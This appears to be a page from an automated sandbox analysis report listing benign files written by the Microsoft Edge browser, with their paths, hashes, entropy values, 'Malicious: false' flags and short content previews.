SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.168620262598681
Encrypted:	false
SSDEEP:	6:iORPlusq2PcNwi23oH+TcwtfrzAdIFUtDPccRFZZmw9PdFAzkwOcNwi23oH+Tcwc:7RPlusvLZYeb9FUtDPcs/9Pd254ZYebS
MD5:	DACA602E3D43DF987E2728138CA42053
SHA1:	514C74607D428EC8E0A2919BFDE4DA1EC955190C
SHA-256:	DD270273B5F0689BA471889C409476AB7CB0E54EF35EA3852DC34AD30FEE705E
SHA-512:	9316E1BDCF3A2CAEFA120A821E81FA47EFCC4AFE0F7F5FFFB270E5F7CF10BB7A893EDABD67D719FB2F5D6443C412972B926C83603122A0D4B0C94CAFA9D28BFA
Malicious:	false
Preview:	2025/04/07-12:10:03.107 1574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/04/07-12:10:03.111 1574 Recovering log #3.2025/04/07-12:10:03.121 1574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.168620262598681
Encrypted:	false
SSDEEP:	6:iORPlusq2PcNwi23oH+TcwtfrzAdIFUtDPccRFZZmw9PdFAzkwOcNwi23oH+Tcwc:7RPlusvLZYeb9FUtDPcs/9Pd254ZYebS
MD5:	DACA602E3D43DF987E2728138CA42053
SHA1:	514C74607D428EC8E0A2919BFDE4DA1EC955190C
SHA-256:	DD270273B5F0689BA471889C409476AB7CB0E54EF35EA3852DC34AD30FEE705E
SHA-512:	9316E1BDCF3A2CAEFA120A821E81FA47EFCC4AFE0F7F5FFFB270E5F7CF10BB7A893EDABD67D719FB2F5D6443C412972B926C83603122A0D4B0C94CAFA9D28BFA
Malicious:	false
Preview:	2025/04/07-12:10:03.107 1574 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/04/07-12:10:03.111 1574 Recovering log #3.2025/04/07-12:10:03.121 1574 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF21fc3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF22243.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF248a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2743c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3320d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56063
Entropy (8bit):	6.102741065172069
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxPGWv/sxtwu7VLyMV/YoskFoQ:z/0+zI7ynpv/4KMVeZoskx
MD5:	5A7728CC31F825EC1FBA7FE02ABB31CF
SHA1:	4DD27A2532DC016307EC6370D9A9642FD06C02B4
SHA-256:	8418D066DD60D5C65E8B567B71BC8CD68E398261FFA9122B53713FB90FCB40BA
SHA-512:	C5B327AF59D0F94D15F4918BEF161543444E3BCB6F10389DBAD4314C2C5DB16AA25FFEB6987605B46AF31D32B16EC316DF9E48B155C85DF020E06D778D05EE70
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlk1al:Ls3kA
MD5:	144391FA1ED887C408EC17C3D4A08C09
SHA1:	BBD51E2587B89FFF2600816C94D73842342C1DA8
SHA-256:	78D1129101D63B13ACC73DDF5B82C173932EAFB1C6304CF193C7030BEE56B735
SHA-512:	1CBEAE5CE8826CAC66B3905FD73783BE7ED5CA410A8DED05C24435C96880B493E346BFAC5CAE10841380FE5EF09A4370F72A3E33AB02E3437D0A167714A6724F
Malicious:	false
Preview:	.........................................I.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
